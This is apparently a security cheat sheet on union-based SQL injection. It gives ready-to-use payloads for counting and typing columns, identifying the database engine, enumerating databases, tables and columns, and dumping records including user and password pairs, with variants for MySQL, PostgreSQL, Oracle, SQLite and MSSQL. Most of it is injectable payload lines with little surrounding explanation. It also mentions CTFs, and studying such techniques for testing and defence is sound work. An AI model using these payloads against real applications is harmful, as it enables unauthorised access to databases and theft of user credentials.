Union-based SQLi
Union-based refer to using the UNION clause in the injected SQL to concatenate illegally fetched records to the usual results.
For instance, given a request returning the list of products, we could append to it the list of users and their passwords.
π When injecting an union payloads, you usually only want to see the union results. Simply use a search query with no results.
β οΈ It can only be achieved both queries have the same number of attributes+type in the SELECT (as per the property of the UNION clause).
SELECT 1 UNION SELECT 1; -- ok
SELECT 1, 2 UNION SELECT 1; -- not ok
SELECT 1, 2 UNION SELECT 1, "2"; -- not ok (on a table)
SELECT 1, 2 UNION SELECT 1, NULL; -- ok
Manual Union-based SQLi
Number of columns selected
The first step is to find how many columns there are in the SELECT. There are two popular ways, using UNION
or ORDER BY
.
Even if SQL errors are not displayed, if the results is "unexpected" (ex: no results), we know that the request failed.
Method 1: UNION SELECT
UNION SELECT NULL -- fail
UNION SELECT NULL, NULL -- fail
UNION SELECT NULL, NULL, NULL -- fail
UNION SELECT NULL, NULL, NULL, NULL -- OK
Method 2: ORDER BY
ORDER BY
can take a number representing the $nth$ argument in the select. If you use an invalid $n$, then the request fails.
ORDER BY 1 -- fail
ORDER BY 2 -- fail
ORDER BY 3 -- fail
ORDER BY 4 -- OK
In the example, we have 4 parameters.
Find the type of each column
The UNION will fails if a column in the first select has a different type in the second select. You should check the type of each column, by using UNION SELECT
with value others than NULL.
UNION SELECT 1, NULL, NULL, NULL -- KO
UNION SELECT "1", NULL, NULL, NULL -- OK
UNION SELECT "1", "1", NULL, NULL -- OK
...
Find which columns are displayed
Simply replace every NULL
with a value, such as increasing numbers. If a value is not displayed, then skip it and work on other attributes.
Find the DBMS used
The second objective is to find the DBMS, and its version, just to ensure that any following query is valid in the DBMS language.
UNION SELECT @@version, NULL, NULL, NULL
UNION SELECT sqlite_version(), NULL, NULL, NULL
UNION SELECT VERSION(), NULL, NULL, NULL
UNION SELECT (SELECT banner FROM v$version), NULL, NULL, NULL
-- see also: DMBS-specific functions, etc.
...
π You can fetch the user too with user()
or enumerate users:
UNION SELECT group_concat(user), NULL, NULL, NULL from mysql.user
Extract data
To extract data, you need to find the database, the table, and the columns. It's an extensive operation.
MariaDB/MySQL/PostgreSQL
-- list databases, mostly unused as we use the current database
UNION SELECT SCHEMA_NAME, NULL, NULL, NULL FROM INFORMATION_SCHEMA.SCHEMATA
-- current database
UNION SELECT database(), NULL, NULL, NULL
-- table given 'database'
UNION SELECT group_concat(table_name), NULL, NULL, NULL FROM information_schema.tables WHERE TABLE_SCHEMA='database_name'
-- columns given 'table' and 'database'
UNION SELECT group_concat(column_name), NULL, NULL, NULL FROM information_schema.columns WHERE TABLE_SCHEMA='database_name' AND TABLE_NAME='table_name'
-- dump
UNION SELECT group_concat(col1,":",col2 SEPARATOR '<br>'), NULL, NULL, NULL FROM database_name.table_name
UNION SELECT concat(col1,":",col2), NULL, NULL, NULL FROM database_name.table_name
UNION SELECT CONCAT_WS(':',col1,col2), NULL, NULL, NULL FROM database_name.table_name
UNION SELECT col1||":"||col2, NULL, NULL, NULL FROM database_name.table_name
Oracle
You can use:
union select table_name FROM all_tables
union select column_name FROM all_tab_columns where table_name='a_table'
SQLite
-- table
UNION SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
-- columns given table
UNION SELECT sql FROM sqlite_master WHERE type='table' AND name='<a table>'
-- dump
UNION SELECT group_concat(col1 || ":" || col2, '<br>'), NULL, NULL, NULL FROM table_name
MSSQL
Most of the instructions for MySQL and other are working, but there is major complication: LIMIT 1 OFFSET 0
is not available.
Select top 1 log,pwd [...] -- got 'toto'
Select top 1 log,pwd [...] where log not in ('toto') -- etc.
You can also try to order results if you can't you use the 'where' clause. In CTFs, the administrator is usually the first 'a'.